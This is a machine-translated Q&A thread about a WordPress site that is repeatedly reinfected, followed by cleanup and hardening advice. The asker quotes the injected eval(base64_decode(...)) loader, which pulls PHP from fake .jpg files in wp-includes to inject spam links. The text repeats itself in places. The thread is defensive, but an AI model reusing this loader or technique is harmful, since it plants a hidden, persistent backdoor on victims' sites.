Wordpress网站不断遭到黑客攻击
我有一个Wordpress网站不断遭到黑客攻击。据我所知,正在进行以下更改: 该文件顶部有一些附加的PHP代码: wp content/themes/enfold/functions.php 详情如下:Wordpress网站不断遭到黑客攻击,wordpress,Wordpress,我有一个Wordpress网站不断遭到黑客攻击。据我所知,正在进行以下更改: 该文件顶部有一些附加的PHP代码: wp content/themes/enfold/functions.php 详情如下: eval(base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoIi9ob21lL2RhdGFidXp6L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tYWdpYy5qcGciKTtyZXR1
eval(base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoIi9ob21lL2RhdGFidXp6L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tYWdpYy5qcGciKTtyZXR1cm4gKCRjaGVlKTt9b2Jfc3RhcnQoImNhbGxiYWNrIik7"));
正在创建4个新的jpg文件:
/wp包括/images/geo.jpg
/wp包括/images/save.jpg
/wp包括/images/magic.jpg
/wp包括/images/links.jpg
这些文件不是真正的jpg文件,因为它们不会打开,但使用文本编辑器查看它们会显示文本和其他PHP代码
从PHP代码来看,它似乎试图将一些垃圾邮件/广告链接注入到我的Wordpress帖子中
我不断删除这些文件,安装了安全插件,删除了管理员登录,更改了所有密码,但这些文件每隔几天就会更新/创建一次
我正在试图了解这是如何可能的,以及我接下来需要做什么来阻止它。首先-
在这一点上安装防病毒或安全插件很少有帮助-恶意代码已经具有服务器访问权限
1-更改FTP
,mysql
,DB
,Cpanel
,WHM
,SSH
(不需要时禁用)等所有具有访问权限的密码
3-检查您的服务器(所有文件夹,如cgi
,cgi-bin
,ftp
等)
删除所有wordpress
文件夹(除了wp content
)和所有其他奇怪的文件。删除所有主题和所有插件,并手动仔细检查wp内容的其余部分。备份数据库并手动检查
3.1-(编辑1)-不允许Cpanel/WHM中的索引。请阅读下面的.htaccess保护
2-将新的wordpress核心文件上载到(不是根目录)并将其重命名为其他文件(不是wp
或wordpress
)
3-更新插件和主题-不要复制您拥有的插件和主题,而是从wp插件存储库中安装新的、更新的插件和新的干净主题。
如有必要,手动检查
在主题中,检查所有表单
,或输入字段
,并检查输入是否正确有效
4-更改wp config
中的所有数据库密码。所有的散列等等。
创建新数据库、用户和新密码。手动检查数据库备份,然后再将其注入
4.1-(编辑I)我忘了提及-还更改了DB前缀。不要离开wp
5-更改所有wp用户密码和用户名。
如果你有一个拥有数百名用户的开放站点,那么你可以编写一个脚本,强制每个人更改密码。如果你只有十几个用户,则手动更改密码。
当我说全部时,它包括默认的管理员用户(来自过去的版本)
6-一段时间后,检查您的服务器日志,查看用于伪映像文件的404消息是否来自单个ip地址(可能不是)-如果是-阻止它
7-除了小心之外,你没什么可做的了。这是一个很大的工作,但不要懒惰,并遵循所有的步骤。否则,不仅仅是这一个站点,整个服务器都可能受到威胁。一次又一次
避免此类事件再次发生的指导原则:
- 选择强密码。-我们都不喜欢类似于
aDf34HG§*#sFGT
的密码,但它们很有用,特别是在DB
或其他自动化任务中。对于用户-强制至少一个符号和一个字母
- 不要安装您不知道、不完全理解或从可疑来源下载的主题和插件(
所有wp premium主题免费,直接下载所有插件免费
等)
- 保持wordpress核心文件的更新
- 每隔一段时间手动检查服务器一次
.htaccess
一些指令可以防止(或至少尝试防止)这种情况再次发生
.htaccess文件位于WordPress的根目录中
#Disallow indexes
Options All -Indexes
# protect wp-config.php
<files wp-config.php>
Order deny,allow
Deny from all
</files>
# WPhtC: Protect .htaccess file
<files ~ "^.*\.([Hh][Tt][Aa])">
order allow,deny
deny from all
</files>
您可以做的另一件事是强制用户(和您自己)在登录到admin时使用SSL(HTTPS):
define('FORCE_SSL_LOGIN', true);
在此之后,您还需要查看数据库中是否有奇怪的列/表/条目/用户。例如,如果您的站点不断被重定向,请检查字符串等。。(eval()
,exec()
)
您还可以使用许多安全插件中的一些来进行核心校验和以及上述php
调用
还有其他更复杂的事情,尤其是在APACHE方面。
如果我有更多的时间,我会在这里发布一篇博客文章和链接。但是上面写的是一个好的开始。我在我的许多网站上遇到了这个问题,甚至在交换了所有内容之后(所有新文件只有一个网站,但配置文件相同)。。。反正我被袭击了
每天醒来,我都会收到电子邮件提醒,说有30个不同的文件被编辑或替换。每次我清洗它,它都会在几个小时后回来。。。但他感到困惑,因为这都是新文件。唯一相同的是wp-config.php文件
结果是散列键太短了。网站是3年前建立的,但现在已经完全更新了,但只要我把散列键改长了很多,问题就解决了
哈希键的示例:
您可以在此处生成新密钥:
您是使用FTP还是cPanel/etc访问服务器?有可能这些都被破坏了。你可能有一个易受攻击的主题或插件。我打赌你的主题或一些活动插件是易受攻击的,我遇到过很多这样的网站,通常使用5年前创建的硬编码主题。我使用cPanel和FTP-我会再次更改这些的密码。我已删除除活动主题和ha之外的所有主题
define('FORCE_SSL_LOGIN', true);